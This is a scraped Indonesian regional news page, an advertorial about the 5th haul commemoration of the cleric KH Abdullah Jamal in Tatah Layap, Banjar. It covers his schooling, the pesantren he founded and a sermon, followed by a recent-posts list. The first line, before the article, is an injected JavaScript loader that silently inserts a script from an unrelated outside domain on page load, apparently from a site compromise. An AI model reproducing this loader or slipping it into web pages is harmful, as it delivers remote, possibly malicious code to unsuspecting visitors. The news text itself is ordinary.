(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Haul ke-5 KH Abdullah Jamal Tatah Layap Dihadiri Ribuan Jemaah


MARTAPURA, Ribuan jamaah asal Kecamatan Tatah Makmur dan sekitarnya memadati  Majelis Taklim Dala’ilul Khairat, Desa Tatah Layap, Minggu (29/10). Kedatangan ribuan jemaah ini untuk mengikuti peringatan haul ke-5 KH Abdullah Jamal, salah seorang ulama ternama setempat.

Tak hanya laki-laki, banyak pula jamaah perempuan  dan anak-anak yang ikut kegiatan haul. Membaur di tengah ribuan jamaah, Aspihani, Kepala Dinas Pemberdayaan Masyarakat dan Pemerintahan Desa (DPMPD), Camat Tatah Makmur H Muhammad Arsyad, serta sejumlah ulama dan tokoh masyarakat.

Menurut H Uzair Yusra, Pemimpin Majlis Ta’lim Dala’ilul Khairat, Almarhum KH Abdullah Jamal lahir 1935  dan meninggal 2012.

“Beliau memulai pendidikan agama di Madrasah Ibtidaiyah Darul Imad di Tatah Bahalang Desa Thaibah Raya, di sana beliau dibimbing  KH Marzuki,” kata H Uzair.

Dari Madrasah Ibtidaiyah Darul Imad, lanjutnya, KH Abdullah Jamal melanjutkan pendidikan ke Pondok Pesantren (Ponpes) Darussalam Martapura di bawah asuhan KH Samman Mulia. Selain itu beliau juga mendapatkan pelajaran agama dari ulama besar lainnya, diantaranya KH Abdul Qadir Hasan, KH Salim Ma’ruf, KH Salman Jalil, KH Husein Qadri, dan KH M Zaini Abdul Ghani atau yang dikenal dengan sapaan Guru Sekumpul.

Lulus dari Ponpes Darussalam, KH Abdullah Jamal mendirikan Ponpes Inayatul Marzuki di Desa Tatah Layap.

“Nama Inayatul Marzuki diambil dari nama pembimbing beliau di masa anak-anak yakni KH Marzuki,” ujar H Uzair.

Sebagian besar santri di Ponpes Inayatul Marzuki berasal dari Kecamatan Tatah Makmur dan Kecamatan Aluh-aluh, Kabupaten Banjar. Selain mendirikan Ponpes Inayatul Marzuki beliau juga mendirikan Majlis Ta’lim Dala’ilul Khairat yang rutin digelar setiap hari Kamis.

KH Zuhdiannor yang hadir sebagai penceramah dalam haul tersebut mengingatkan, jika umat ingin selamat dunia akhirat, ada tiga hal yang mesti dilakukan, gemar menuntut ilmu agama, syukuri sekecil apapun karunia yang diberi Allah SWT, dan suka introspeksi diri ketimbang mencari-cari kesalahan orang lain atas setiap masalah yang terjadi. (rudiyanto/adv)

Foto : MC-Kab Banjar


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.